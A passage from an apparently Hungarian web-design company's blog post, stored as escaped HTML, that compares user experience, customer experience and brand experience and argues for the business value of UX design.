M\u00e1ra kicsit bonyol\u00f3dott a helyzet, mivel a hat\u00e1rvonal elmos\u00f3dott, hiszen vannak olyan r\u00e9szei mindk\u00e9t tev\u00e9kenys\u00e9gnek, melyek a v\u00e1s\u00e1rl\u00e1s el\u0151tti vagy \u00e9pp ut\u00e1ni pillanatokban jelennek meg. <\/p>\n\n\n\n<p>A m\u00e1sik elm\u00e9let szerint a UX egyszer\u0171en a CX r\u00e9sze, vagy legal\u00e1bbis a CX k\u00f6rbefogja a UX-et, teh\u00e1t a term\u00e9k felhaszn\u00e1l\u00e1s\u00e1nak \u00e9lm\u00e9nyen t\u00fal a v\u00e1s\u00e1rl\u00e1s el\u0151tt \u00e9s ut\u00e1n is felel\u0151s az \u00fcgyf\u00e9l\u00e9lm\u00e9ny\u00e9rt. Ezen elm\u00e9let szerint a UX-be csak az tartozik bele, amikor a felhaszn\u00e1l\u00f3 kapcsolatba ker\u00fcl a (digit\u00e1lis) term\u00e9kkel vagy szolg\u00e1ltat\u00e1ssal. Ugyanakkor a CX a teljes folyamat \u00e9lm\u00e9ny\u00e9re vonatkozik, melybe a nem-digit\u00e1lis tev\u00e9kenys\u00e9gek is beletartoznak. <\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" loading=\"lazy\" width=\"711\" height=\"313\" src=\"http:\/\/blog.webshark.hu\/wp-content\/uploads\/2019\/05\/ux-cx-resze.png\" alt=\"\" class=\"wp-image-3627\" srcset=\"http:\/\/blog.webshark.hu\/wp-content\/uploads\/2019\/05\/ux-cx-resze.png 711w, http:\/\/blog.webshark.hu\/wp-content\/uploads\/2019\/05\/ux-cx-resze-300x132.png 300w\" sizes=\"(max-width: 711px) 100vw, 711px\" \/><\/figure>\n\n\n\n<p>\u00c9s term\u00e9szetesen akadnak olyanok is, akik szerint a CX a UX r\u00e9sze, vagyis a CX mind\u00f6ssze a fizet\u0151 \u00fcgyfelek \u00e9lm\u00e9ny\u00e9t jelenti, m\u00edg a UX-hez valamennyi felhaszn\u00e1l\u00f3 kapcsol\u00f3dik, att\u00f3l f\u00fcggetlen\u00fcl, hogy v\u00e1s\u00e1rol-e vagy sem. De b\u00e1rmelyik elk\u00e9pzel\u00e9st fogadjuk is el, a l\u00e9nyeg, hogy ma m\u00e1r egym\u00e1sba folynak. <\/p>\n\n\n\n<p>A k\u00fcl\u00f6nbs\u00e9g nem a CX \u00e9s UX csapatok elt\u00e9r\u0151 k\u00fcldet\u00e9s\u00e9ben rejlik, hanem abban, hogy honnan indultak. Ezen elt\u00e9r\u00e9s miatt ugyanazt a c\u00e9lt elt\u00e9r\u0151 m\u00f3dokon akarj\u00e1k el\u00e9rni. <\/p>\n\n\n\n<h4>Honnan sz\u00e1rmazik a CX?<\/h4>\n\n\n\n<p>A korszer\u0171 fogyaszt\u00f3i \u00e9lm\u00e9ny gy\u00f6kerei a \u201860-as \u00e9vekig ny\u00falnak vissza. A hirdet\u00e9s ezen korszak\u00e1ban mindenki azt gondolta, hogy az embereknek mind\u00f6ssze hangzatos szlogenekre \u00e9s dallamokra van sz\u00fcks\u00e9ge ahhoz, hogy valamit megvegyenek. N\u00e9h\u00e1ny marketinges azonban r\u00e1j\u00f6tt, hogy a vev\u0151k nem teljesen egyform\u00e1k. Teh\u00e1t p\u00e9ld\u00e1ul az egyed\u00fcl \u00e9l\u0151k nem pont ugyanazokat a term\u00e9keket veszik, mint a csal\u00e1dos emberek. Vagy azoknak, akik v\u00e1rosban laknak, m\u00e1s ig\u00e9nyeik vannak, mint azoknak, akik vid\u00e9ken. Ekkor sz\u00fcletett meg a piaci szegment\u00e1l\u00e1s tudom\u00e1nya.<\/p>\n\n\n\n<p>Ahogy a marketingesek finom\u00edtott\u00e1k a tud\u00e1sukat, \u00fagy ny\u00faltak tov\u00e1bb az egyszer\u0171 demogr\u00e1fiai adatokon olyan t\u00e9nyez\u0151k fel\u00e9, mint amilyen p\u00e9ld\u00e1ul az attit\u0171d alap\u00fa pszichogr\u00e1fia. Teh\u00e1t a dolog m\u00e1r nem csak arr\u00f3l sz\u00f3lt, hogy mondjuk hol \u00e9l az \u00fcgyf\u00e9l, hanem, hogy milyen attit\u0171d\u00f6k jelennek meg az \u00e9let\u00fckben. A marketingesek ezut\u00e1n m\u00e9g t\u00f6bb adatot kezdtek gy\u0171jteni, \u00e9s a piackutat\u00e1s marketing analitik\u00e1v\u00e1 v\u00e1ltozott. <\/p>\n\n\n\n<p>A 2000-es \u00e9vek elej\u00e9n azt\u00e1n a \u201cfogyaszt\u00f3k hangja\u201d kutat\u00e1sok v\u00e1ltak n\u00e9pszer\u0171v\u00e9. Ezek a vizsg\u00e1latok azt pr\u00f3b\u00e1lj\u00e1k meg kider\u00edteni, hogy mennyire siker\u00fcl kiel\u00e9g\u00edteni a v\u00e1s\u00e1rl\u00f3k ig\u00e9nyeit. A k\u00f6z\u00f6ss\u00e9gi m\u00e9dia megsz\u00fclet\u00e9se viszont megmutatta, hogy a leghat\u00e9konyabb marketingeszk\u00f6z kor\u00e1bban a \u201cnagy \u00e9lm\u00e9ny\u201d volt. Teh\u00e1t az, hogy amikor valakinek van egy jelent\u0151s \u00e9lm\u00e9nye, akkor arr\u00f3l besz\u00e1mol az ismer\u0151seinek. A sz\u00f3besz\u00e9d marketing hat\u00e9konyabb\u00e1 v\u00e1lt, mint b\u00e1rmely m\u00e1s eszk\u00f6z. <\/p>\n\n\n\n<p>A CX-et az ipar\u00e1g elemz\u0151i tett\u00e9k n\u00e9pszer\u0171v\u00e9, legink\u00e1bb a Forrester Research. A c\u00e9gvezet\u0151k t\u0151l\u00fck szerezt\u00e9k azon \u00e9rtes\u00fcl\u00e9seket, hogy a c\u00e9geknek milyen el\u0151nyeik sz\u00e1rmaznak egy j\u00f3 term\u00e9k\u00e9lm\u00e9nyb\u0151l \u00e9s szolg\u00e1ltat\u00e1si \u00e9lm\u00e9nyb\u0151l. Ahhoz, hogy \u0151k is megval\u00f3s\u00edts\u00e1k ezeket az \u00e9lm\u00e9nyeket, l\u00e9trehozt\u00e1k a dedik\u00e1lt csapatokat.<\/p>\n\n\n\n<h4>A UX eredete<\/h4>\n\n\n\n<p>A modern felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny tervez\u00e9s\u00e9nek gy\u00f6kerei szint\u00e9n a \u201860-as \u00e9vekbe ny\u00falnak vissza. Akkoriban olyan komplex technol\u00f3gi\u00e1kat \u00e9rintettek, mint amivel a rep\u00fcl\u0151g\u00e9pek pil\u00f3taf\u00fclk\u00e9iben, vagy az atomer\u0151m\u0171vek ir\u00e1ny\u00edt\u00f3termeiben lehetett tal\u00e1lkozni. Itt azzal kellett szembes\u00fclni, hogy az emberi hib\u00e1k bizony k\u00f6lts\u00e9gesek tudnak lenni. Ha olyan rendszert siker\u00fcl tervezni, amivel kik\u00fcsz\u00f6b\u00f6lhet\u0151k a hib\u00e1k, azzal \u00e9leteket lehet megmenteni.<\/p>\n\n\n\n<p>Amikor a szem\u00e9lyi sz\u00e1m\u00edt\u00f3g\u00e9pek megjelentek, akkor ezeknek a term\u00e9keknek felhaszn\u00e1l\u00f3bar\u00e1tt\u00e1 kellett v\u00e1lniuk. A haszn\u00e1lhat\u00f3s\u00e1g, a usability a term\u00e9kek k\u00f6zponti eleme lett. 1993-ban azt\u00e1n Don Norman megalkotta a user experience fogalm\u00e1t. Ahogy a web r\u00e9v\u00e9n az inform\u00e1ci\u00f3k el\u00e9rhet\u0151v\u00e9 v\u00e1ltak, a UX csapatok feladata lett a j\u00f3 inform\u00e1ci\u00f3s architekt\u00far\u00e1k, az interakci\u00f3k \u00e9s a vizu\u00e1lis elemek kialak\u00edt\u00e1sa egy-egy designban. <\/p>\n\n\n\n<p>A UX csapat k\u00f6z\u00f6sen dolgozott a term\u00e9kfejleszt\u0151kkel \u00e9s egy\u00fcttesen egy jobban tervezett \u00e9lm\u00e9nyt tudtak el\u00e9rni. Ez biztos\u00edtotta azt, hogy a term\u00e9kek \u00e9s a szolg\u00e1ltat\u00e1sok a lehet\u0151 legnagyobb \u00e9rt\u00e9ket k\u00edn\u00e1lj\u00e1k.<\/p>\n\n\n\n<h4>A hat\u00e1rok elmos\u00f3d\u00e1sa a v\u00e1s\u00e1rl\u00e1s pillanat\u00e1ban<\/h4>\n\n\n\n<p>Ha k\u00f6zelebbr\u0151l megvizsg\u00e1ljuk a j\u00f3l m\u0171k\u00f6d\u0151 CX \u00e9s UX csapatokat, akkor azt l\u00e1tjuk, hogy egy\u00fctt dolgoznak egy k\u00f6z\u00f6s, elk\u00e9pzelt c\u00e9l \u00e9rdek\u00e9ben. Mind azt szeretn\u00e9k, hogy a c\u00e9g a legjobb \u00e9lm\u00e9nyt k\u00edn\u00e1lja mindazoknak, akik kapcsolatba l\u00e9pnek a c\u00e9l term\u00e9keivel vagy szolg\u00e1ltat\u00e1saival. <\/p>\n\n\n\n<p>A CX k\u00fcldet\u00e9se term\u00e9kek \u00e9s szolg\u00e1ltat\u00e1sok elad\u00e1sa. A CX csapatok tudj\u00e1k, hogy csak akkor lehetnek sikeresek, ha a c\u00e9g a legjobb \u00e9lm\u00e9nyt k\u00edn\u00e1lja a felhaszn\u00e1l\u00f3k sz\u00e1m\u00e1ra. \u00c9s mik\u00f6zben a UX arra \u00f6sszpontos\u00edt, hogy l\u00e9trehozza a term\u00e9kkel kapcsolatos nagy \u00e9lm\u00e9nyt, ezt csak akkor tudj\u00e1k megtenni, ha az emberek megv\u00e1s\u00e1rolj\u00e1k a term\u00e9ket.<\/p>\n\n\n\n<p>A v\u00e1s\u00e1rl\u00e1s pillanat\u00e1hoz kapcsol\u00f3d\u00f3an kor\u00e1bban l\u00e9tezett egy hat\u00e1rvonal a CX \u00e9s a UX k\u00f6z\u00f6tt. Minden, ami CX, az\u00e9rt felel\u0151s, ami az adott hat\u00e1rvonalig t\u00f6rt\u00e9nik. \u00c9s minden, ami UX, ett\u0151l a hat\u00e1rvonalt\u00f3l kezd\u0151dik. Ez a v\u00e1s\u00e1rl\u00e1s pillanata. Az elv\u00e1laszt\u00e1s azonban ma m\u00e1r nem \u00e9rv\u00e9nyes, a hat\u00e1rvonal elmos\u00f3dott. <\/p>\n\n\n\n<p>A CX csapatok ma m\u00e1r felel\u0151sek a term\u00e9k designj\u00e1\u00e9rt \u00e9s az \u00e9lm\u00e9ny\u00e9rt, melyet l\u00e9trehoz. Nem lehetnek sikeresek, ha csak arra figyelnek, ami az elad\u00e1s el\u0151tt t\u00f6rt\u00e9nik. A UX viszont az\u00e9rt felel\u0151s, hogy p\u00e9ld\u00e1ul egy term\u00e9k dem\u00f3 j\u00f3l m\u0171k\u00f6dj\u00f6n, \u00e9s olyan funkci\u00f3i legyenek, melyek seg\u00edtik az \u00e9rt\u00e9kes\u00edt\u00e9st. A UX nem lehet sikeres, ha csak az \u00e9rdekli, amivel a felhaszn\u00e1l\u00f3 a v\u00e1s\u00e1rl\u00e1s ut\u00e1n tal\u00e1lkozik.<\/p>\n\n\n\n<h4>M\u00e9gsem \u00e9rtik egym\u00e1st<\/h4>\n\n\n\n<p>Teh\u00e1t, mint l\u00e1ttuk, az elt\u00e9r\u0151 eredet, \u00e9s az ehhez kapcsol\u00f3d\u00f3 elt\u00e9r\u0151 eszk\u00f6z\u00f6k jelentik a k\u00fcl\u00f6nbs\u00e9get, de ugyanazt a c\u00e9lt pr\u00f3b\u00e1lja el\u00e9rni a CX \u00e9s a UX is. A k\u00fcl\u00f6nb\u00f6z\u0151s\u00e9gek n\u00e9ha olyan nagyok, hogy nem is igaz\u00e1n \u00e9rtik, mit akar a m\u00e1sik.<\/p>\n\n\n\n<p>A CX kiindul\u00f3pontja a marketing-analitika, \u00e9s k\u00f6nnyen kezelnek nagy minatm\u00e9reteket, melyek a vizsg\u00e1latokb\u00f3l \u00e9s az analitikai adatokb\u00f3l sz\u00e1rmaznak. Szeretik a mennyis\u00e9gi modelleket, ugyanakkor nem igaz\u00e1n tudj\u00e1k hov\u00e1 tenni, amikor az \u00fcgyf\u00e9l elmondja, hogy mit szeretne vagy mire van sz\u00fcks\u00e9ge a term\u00e9kkel kapcsolatban.<\/p>\n\n\n\n<p>A UX gy\u00f6kerei viszont viselked\u00e9studom\u00e1nyig ny\u00falnak, kis mintam\u00e9retekkel dolgozik, kvalitat\u00edv m\u00f3dszereket haszn\u00e1lnak, \u00e9s els\u0151sorban arra \u00f6sszpontos\u00edt, hogy az emberek mik\u00e9nt tudj\u00e1k haszn\u00e1lni a term\u00e9ket. \u00c9rdekes m\u00f3don, mindketten bevetnek person\u00e1kat, ugyanakkor egy marketing \u00e9s egy design perszona elt\u00e9r\u0151. <\/p>\n\n\n\n<p>Ahhoz azonban, hogy egy c\u00e9g piacvezet\u0151 legyen a maga ipar\u00e1g\u00e1ban, mindk\u00e9t ter\u00fcletre sz\u00fcks\u00e9ge van. A term\u00e9kekkel vagy szolg\u00e1ltat\u00e1sokkal foglalkoz\u00f3 munkat\u00e1rsaknak fontos mindk\u00e9t perspekt\u00edva, az is, amit a CX \u00e9s az is, amit a UX tud k\u00edn\u00e1lni. A legjobb megold\u00e1s, ha olyan szem\u00e9lyek v\u00e9gzik a CX \u00e9s a UX tervez\u00e9s\u00e9t, akik mindk\u00e9t ter\u00fcleten otthon vannak, azaz k\u00e9pesek mennyis\u00e9gi analitikai modellekkel \u00e9s kis mintam\u00e9ret\u0171 kvalitat\u00edv adatokkal is dolgozni. \u0150k azok, akik igaz\u00e1n m\u00e9lyen meg\u00e9rtik, hogy a felhaszn\u00e1l\u00f3nak mire van sz\u00fcks\u00e9ge a c\u00e9gt\u0151l, mely ez\u00e1ltal egy jobban tervezett term\u00e9ket vagy szolg\u00e1ltat\u00e1st k\u00edn\u00e1lhat.<\/p>\n\n\n\n<h4>Mi az a m\u00e1rka\u00e9lm\u00e9ny (BX)?<\/h4>\n\n\n\n<p>Az eddigieken t\u00fal van m\u00e9g egy egy kapcsol\u00f3d\u00f3 fogalom, a BX, vagyis brand experience, melyr\u0151l hajlamosak vagyunk elfeledkezni, vagy legal\u00e1bbis nem k\u00fcl\u00f6n\u00e1ll\u00f3 elemk\u00e9nt gondolunk r\u00e1.<\/p>\n\n\n\n<p>A k\u00e9pbe azonban bele kell ker\u00fclnie a BX-nek, azaz a m\u00e1rka\u00e9lm\u00e9nynek is. De hogyan viszonyul hozz\u00e1 a CX \u00e9s a UX? P\u00e9ld\u00e1ul, amikor megpr\u00f3b\u00e1lsz v\u00e1s\u00e1rolni egy web\u00e1ruh\u00e1zban, akkor esetleg valami probl\u00e9m\u00e1ba futsz, nem tudsz kos\u00e1rba rakni megfelel\u0151 sz\u00ednben egy term\u00e9ket, mert mondjuk nem tudod, mik\u00e9nt lehet a sz\u00ednt kiv\u00e1lasztani. Ilyenkor rossz UX-r\u0151l besz\u00e9lhet\u00fcnk.<\/p>\n\n\n\n<p>De ha ebben az esetben felh\u00edvod az \u00fcgyf\u00e9lszolg\u00e1latot, \u00e9s \u0151k seg\u00edt\u0151k\u00e9szek, hat\u00e9konyan megoldj\u00e1k a probl\u00e9m\u00e1dat, mondjuk \u00fagy, hogy l\u00e9p\u00e9sr\u0151l l\u00e9p\u00e9sre elmagyar\u00e1zzak, mi a teend\u0151 a sz\u00ednv\u00e1laszt\u00e1sn\u00e1l, akkor itt egy j\u00f3 CX-r\u0151l besz\u00e9lt\u00fcnk. Ennek eredm\u00e9nyek\u00e9nt azonban a BX is megfelel\u0151 lesz, teh\u00e1t j\u00f3 m\u00e1rka\u00e9lm\u00e9nyt szerez a felhaszn\u00e1l\u00f3. <\/p>\n\n\n\n<p>Ugyanakkor az is elk\u00e9pzelhet\u0151, hogy mondjuk a web\u00e1ruh\u00e1z haszn\u00e1lata megfelel\u0151, k\u00f6nnyen v\u00e1s\u00e1rol a felhaszn\u00e1l\u00f3, de k\u00e9s\u0151bb szeretn\u00e9 visszacser\u00e9lni a term\u00e9ket. Felvenn\u00e9 a kapcsolatot az \u00fcgyf\u00e9lszolg\u00e1lattal, ez azonban nem megy neki, mert nem \u00e9ri el \u0151ket. Ebben az esetben s\u00e9r\u00fcl a m\u00e1rka\u00e9lm\u00e9ny is a rossz CX-nek k\u00f6sz\u00f6het\u0151en, mik\u00f6zben a UX-szel semmi hiba nincs. Teh\u00e1t ebben az esetben hi\u00e1ba j\u00f3 a UX, a CX viszont nem m\u0171k\u00f6dik megfelel\u0151en.<\/p>\n\n\n\n<p>A m\u00e1rka\u00e9lm\u00e9nybe teh\u00e1t beletartozik a UX \u00e9s a CX is: m\u00e1r a term\u00e9k l\u00e9trehoz\u00e1s\u00e1t megel\u0151z\u0151 kutat\u00e1sokt\u00f3l eg\u00e9szen a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyig minden befoly\u00e1solja. Elvileg teh\u00e1t ez lenne a legnagyobb halmaz, \u00e9s az \u00e1bra ez alapj\u00e1n \u00edgy n\u00e9zhet ki:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" loading=\"lazy\" width=\"711\" height=\"313\" src=\"http:\/\/blog.webshark.hu\/wp-content\/uploads\/2019\/05\/ux-cx-bx.png\" alt=\"\" class=\"wp-image-3628\" srcset=\"http:\/\/blog.webshark.hu\/wp-content\/uploads\/2019\/05\/ux-cx-bx.png 711w, http:\/\/blog.webshark.hu\/wp-content\/uploads\/2019\/05\/ux-cx-bx-300x132.png 300w\" sizes=\"(max-width: 711px) 100vw, 711px\" \/><\/figure>\n\n\n\n<p>Ha j\u00f3 a CX, akkor a felhaszn\u00e1l\u00f3k sz\u00edvesebben v\u00e1s\u00e1rolj\u00e1k meg a term\u00e9ket vagy a szolg\u00e1ltat\u00e1st, kisebb es\u00e9llyel v\u00e1lasztj\u00e1k a konkurenci\u00e1t, valamint aj\u00e1nl\u00e1sokat fogalmaznak meg a term\u00e9kkel kapcsolatban, ami rendk\u00edv\u00fcl fontos a m\u00e1rka szempontj\u00e1b\u00f3l. Teh\u00e1t, ha jav\u00edtasz az \u00fcgyf\u00e9l\u00e9lm\u00e9nyen, akkor jav\u00edtasz a m\u00e1rka\u00e9lm\u00e9nyen. Ahhoz persze, hogy j\u00f3 legyen az \u00fcgyf\u00e9l\u00e9lm\u00e9ny, vagyis a CX kell a j\u00f3 UX, de adott esetben a CX korrig\u00e1lni tudja a UX-probl\u00e9m\u00e1kat.<\/p>\n\n\n\n<p>Amit viszont m\u00e9g fontosabb meg\u00e9rteni, hogy az nem el\u00e9g, ha csak a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nnyel foglalkozol, az pedig m\u00e9g kev\u00e9sb\u00e9, ami jelenleg egyel\u0151re \u00e1ltal\u00e1nos: csak a UX egy r\u00e9sz\u00e9t k\u00e9pez\u0151 felhaszn\u00e1l\u00f3i fel\u00fclettel (UI) t\u00f6r\u0151dsz. <\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" loading=\"lazy\" width=\"711\" height=\"313\" src=\"http:\/\/blog.webshark.hu\/wp-content\/uploads\/2019\/05\/ui-ux-cx-bx.png\" alt=\"\" class=\"wp-image-3629\" srcset=\"http:\/\/blog.webshark.hu\/wp-content\/uploads\/2019\/05\/ui-ux-cx-bx.png 711w, http:\/\/blog.webshark.hu\/wp-content\/uploads\/2019\/05\/ui-ux-cx-bx-300x132.png 300w\" sizes=\"(max-width: 711px) 100vw, 711px\" \/><\/figure>\n\n\n\n<p>Ez egy weboldal eset\u00e9ben azt jelenti, hogy kiz\u00e1r\u00f3lag annak vizu\u00e1lis designj\u00e1val, \u00fcgyet sem vetve annak haszn\u00e1lat\u00e1ra \u00e9s a sz\u00e9lesebb \u00fcgyf\u00e9l-, illetve m\u00e1rka\u00e9lm\u00e9nyre.<\/p>\n\n\n\n<h2>Hogyan befoly\u00e1solja a UX a mindennapjaidat?<\/h2>\n\n\n\n<p>H\u00e9tk\u00f6znapi szinten is belefuthatunk sz\u00e1mtalanszor UX-probl\u00e9m\u00e1kba \u00e9s megold\u00e1sokba. Ezek bemutat\u00e1sa tal\u00e1n t\u00f6bbeknek seg\u00edt majd abban, hogy ne kezelj\u00e9k az eddigi t\u00e1vols\u00e1gtart\u00e1ssal a UX-et. Mik\u00f6zben a user experience (UX) sokszor m\u00e9g h\u00e1tt\u00e9rbe szorul, amikor egy piacra ker\u00fcl\u0151 term\u00e9kr\u0151l vagy ak\u00e1r egy weboldalr\u00f3l van sz\u00f3, addig ha a felhaszn\u00e1l\u00f3knak val\u00f3di m\u00e1rka\u00e9lm\u00e9nyt szeretn\u00e9nk ny\u00fajtani, akkor komolyan kell venni. <a href=\"http:\/\/www.walkerinfo.com\/customers2020\/\" target=\"_blank\" rel=\"noopener\">Akadnak olyan v\u00e9lem\u00e9nyek<\/a>, melyek szerint 2020-ra a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny m\u00e1r meghat\u00e1roz\u00f3bb t\u00e9nyez\u0151 lesz egy v\u00e1s\u00e1rl\u00e1si d\u00f6nt\u00e9s meghozatal\u00e1n\u00e1l, mint az \u00e1r, vagy maga a term\u00e9k.<\/p>\n\n\n\n<p>De ha m\u00e9g mindig nem \u00e9rted, hogy mi\u00e9rt <strong>a user experience hat\u00e1rozza meg, hogy az emberek kedvelik-e vagy gy\u0171l\u00f6lik a term\u00e9ked vagy a weboldalad<\/strong>, akkor vess egy pillant\u00e1st arra, hogy a mindennapok sor\u00e1n mennyiben befoly\u00e1solja az \u00e9leted a UX!<\/p>\n\n\n\n<h4>A j\u00f3 designt\u00f3l lesznek j\u00f3k a term\u00e9kek<\/h4>\n\n\n\n<p>Egy term\u00e9k tervez\u00e9s\u00e9nek a korai szakasz\u00e1ban a designernek \u00fagy kell m\u0171k\u00f6dnie, mint egy nyomoz\u00f3nak. Ki kell nyomoznia, hogy mire van sz\u00fcks\u00e9g\u00fck az embereknek, hogyan viselkednek, hogyan oldhatja meg a probl\u00e9m\u00e1ikat. Az els\u0151 pr\u00f3b\u00e1lkoz\u00e1sra persze nem mindig lehet el\u00e9rni a t\u00f6k\u00e9letess\u00e9get, azonban a kutat\u00e1s r\u00e9v\u00e9n juthatunk el egy jobb megold\u00e1shoz. Azt\u00e1n persze j\u00f6het az els\u0151, m\u00e1sodik, sz\u00e1zadik redesign, hogy egyre jobb legyen a term\u00e9k.<\/p>\n\n\n\n<h4>A felhaszn\u00e1l\u00f3k \u00e9szre sem veszik a designt – kiv\u00e9ve, ha rossz<\/h4>\n\n\n\n<p>Val\u00f3sz\u00edn\u0171leg eg\u00e9szen addig el sem gondolkodsz azon, hogy mik\u00e9nt vannak tervezve p\u00e9ld\u00e1ul az ajt\u00f3k, am\u00edg bele nem futsz egy rosszul megtervezett megold\u00e1sba. Mondjuk egy olyanba, ahol a kilincs mindig neki\u00fct\u0151dik a falnak, amikor teljesen kinyitod az ajt\u00f3t. Amikor a designer egy weboldalon dolgozik, akkor mindig pr\u00f3b\u00e1lja sz\u00e1m\u00edt\u00e1sba venni az \u00f6sszes elem m\u0171k\u00f6d\u00e9s\u00e9t \u00e9s illeszked\u00e9s\u00e9t egym\u00e1shoz, hiszen ez\u00e1ltal v\u00e1lik g\u00f6rd\u00fcl\u00e9kenny\u00e9 egy term\u00e9k haszn\u00e1lata.<\/p>\n\n\n\n<h4>Senki sem olvassa el a haszn\u00e1lati utas\u00edt\u00e1st<\/h4>\n\n\n\n<p>Mikor fordult el\u0151 veled utolj\u00e1ra, hogy m\u00e9g azel\u0151tt, hogy elkezdt\u00e9l volna haszn\u00e1lni egy term\u00e9ket, sz\u00e9pen, nyugodtan le\u00fclt\u00e9l egy cs\u00e9sze k\u00e1v\u00e9 \u00e9s a haszn\u00e1lati utas\u00edt\u00e1s mell\u00e9, hogy ut\u00f3bbit az elej\u00e9t\u0151l a v\u00e9g\u00e9ig elolvassad? A felhaszn\u00e1l\u00f3k olyan term\u00e9keket akarnak, melyeket haszn\u00e1lati utas\u00edt\u00e1s n\u00e9lk\u00fcl is lehet kezelni, haszn\u00e1latuk teljes m\u00e9rt\u00e9kben intuit\u00edv.<\/p>\n\n\n\n<p>A designereknek teh\u00e1t meg kell gy\u0151z\u0151dni\u00fck arr\u00f3l, hogy a k\u00fcl\u00f6nb\u00f6z\u0151 eszk\u00f6z\u00f6k \u00e9s applik\u00e1ci\u00f3k fel\u00fcletei k\u00f6nnyen meg\u00e9rthet\u0151k \u00e9s kell\u0151en felhaszn\u00e1l\u00f3-bar\u00e1tok. Ehhez v\u00e9gig kell menni minden sz\u00fcks\u00e9ges l\u00e9p\u00e9sen a gyors protot\u00edpust\u00f3l az ellen\u0151rz\u00e9sekig, \u00e9s meg kell gy\u0151z\u0151dni arr\u00f3l, hogy a felhaszn\u00e1l\u00f3 m\u00e1r az els\u0151 haszn\u00e1latkor tudja mit kellene tennie. Ett\u0151l v\u00e1lik felejthetetlenn\u00e9 az \u00e9lm\u00e9ny \u00e9s szerethet\u0151v\u00e9 a term\u00e9k.<\/p>\n\n\n\n<h4>Az emberi t\u00e9nyez\u0151<\/h4>\n\n\n\n<p>Az emberek nem mindig hajland\u00f3ak alkalmazkodni a k\u00fcl\u00f6nb\u00f6z\u0151 tervez\u00e9si hib\u00e1khoz, \u00edgy ezekre figyelni\u00fck kell a designereknek. A fogkr\u00e9mtubusok kupakja az egyik klasszikus p\u00e9lda erre. A teljesen lecsavarhat\u00f3 kupakokat az embereknek mindig nehez\u00fckre esett visszatekerni, leestek, elvesztek, ez vezetett oda, hogy megjelentek a felpattinthat\u00f3 kupakok.<\/p>\n\n\n\n<div class=\"wp-block-image size-full wp-image-1860\"><figure class=\"aligncenter\"><img decoding=\"async\" loading=\"lazy\" width=\"711\" height=\"313\" src=\"http:\/\/blog.webshark.hu\/wp-content\/uploads\/2016\/11\/kupak.jpg\" alt=\"A UX tervez\u00e9s eredm\u00e9nye\" class=\"wp-image-1860\" srcset=\"http:\/\/blog.webshark.hu\/wp-content\/uploads\/2016\/11\/kupak.jpg 711w, http:\/\/blog.webshark.hu\/wp-content\/uploads\/2016\/11\/kupak-300x132.jpg 300w\" sizes=\"(max-width: 711px) 100vw, 711px\" \/><figcaption>A UX tervez\u00e9s eredm\u00e9nye<\/figcaption><\/figure><\/div>\n\n\n\n<p>A designereknek v\u00e9gig kell gondolniuk, hogy a felhaszn\u00e1l\u00f3k mik\u00e9nt ker\u00fclnek kapcsolatba egy term\u00e9kkel, \u00e9s hogy milyen megold\u00e1sokkal tudj\u00e1k a legjobb felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyt garant\u00e1lni sz\u00e1mukra.<\/p>\n\n\n\n<h4>A j\u00f3 design el\u0151seg\u00edti a v\u00e1s\u00e1rl\u00e1st<\/h4>\n\n\n\n<p>A j\u00f3 design r\u00e9v\u00e9n az emberek szeretni fogj\u00e1k a term\u00e9ked vagy a weboldalad. A boldog felhaszn\u00e1l\u00f3k pedig nagyobb val\u00f3sz\u00edn\u0171s\u00e9ggel fognak v\u00e1s\u00e1rolni is t\u0151led. P\u00e9ld\u00e1ul, min\u00e9l t\u00f6bben haszn\u00e1lj\u00e1k a mobiljukat b\u00f6ng\u00e9sz\u00e9sre a neten, ann\u00e1l fontosabb\u00e1 v\u00e1lik, hogy neked is reszponz\u00edv legyen a weboldalad. Az Aberdeen Group vizsg\u00e1lata szerint a reszponz\u00edv designt haszn\u00e1l\u00f3 weboldalakon 10,9 sz\u00e1zal\u00e9kkal n\u0151tt l\u00e1togat\u00f3b\u00f3l lett vev\u0151k sz\u00e1ma. A j\u00f3 designnal egy jobb felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyt lehet el\u00e9rni, mely \u00e1ltal az emberek nagyobb kedvvel fognak v\u00e1s\u00e1rolni is.<\/p>\n\n\n\n<h2>4 ok, ami miatt \u00e9rdemes komolyan venned a UX-et<\/h2>\n\n\n\n<p>Mi a UX val\u00f3di \u00e9rt\u00e9ke, \u00e9rtelme, \u00e9s mivel tudod indokolni a sz\u00fcks\u00e9gess\u00e9g\u00e9t \u00fczleti szempontb\u00f3l?<\/p>\n\n\n\n<h4>1. A UX el\u0151seg\u00edti a lojalit\u00e1st<\/h4>\n\n\n\n<p>Az az \u00e9lm\u00e9ny, amit a felhaszn\u00e1l\u00f3k a weboldaladon kapnak, rendk\u00edv\u00fcl fontos, mivel ez hat\u00e1rozza meg, hogy a k\u00e9s\u0151bbiekben is visszat\u00e9rnek-e az oldaladra, esetleg megeml\u00edtik-e a term\u00e9kedet vagy a szolg\u00e1ltat\u00e1saidat m\u00e1s fel\u00fcleteken. Sajnos a negat\u00edv felhaszn\u00e1l\u00f3i \u00e9lm\u00e9ny er\u0151sebb nyomot hagy az emberekben, mint a pozit\u00edv. Ha folyamatosan arra t\u00f6rekszel, hogy jav\u00edts a felhaszn\u00e1l\u00f3i \u00e9lm\u00e9nyen annak \u00e9rdek\u00e9ben, hogy az megfeleljen az elv\u00e1r\u00e1saiknak, akkor er\u0151s\u00edteni fogod a fel\u00e9d ir\u00e1nyul\u00f3 bizalmat. Ez pedig v\u00e9g\u00fcl is elvezet a hossz\u00fa t\u00e1v\u00fa bizalom kialakul\u00e1s\u00e1hoz a c\u00e9ged, m\u00e1rk\u00e1d ir\u00e1ny\u00e1ba.<\/p>\n\n\n\n<h4>2. A UX n\u00f6veli a felhaszn\u00e1l\u00f3i el\u00e9gedetts\u00e9get<\/h4>\n\n\n\n<p>A UX a felhaszn\u00e1l\u00f3i sz\u00fcks\u00e9gleteket teszi az els\u0151 helyre. Ezzel a felhaszn\u00e1l\u00f3-k\u00f6zpont\u00fa megk\u00f6zel\u00e9ssel k\u00f6nnyebben meg\u00e9rtheted, hogy mit akarnak az \u00fcgyfeleid. Ha pedig \u00e9rted, hogy 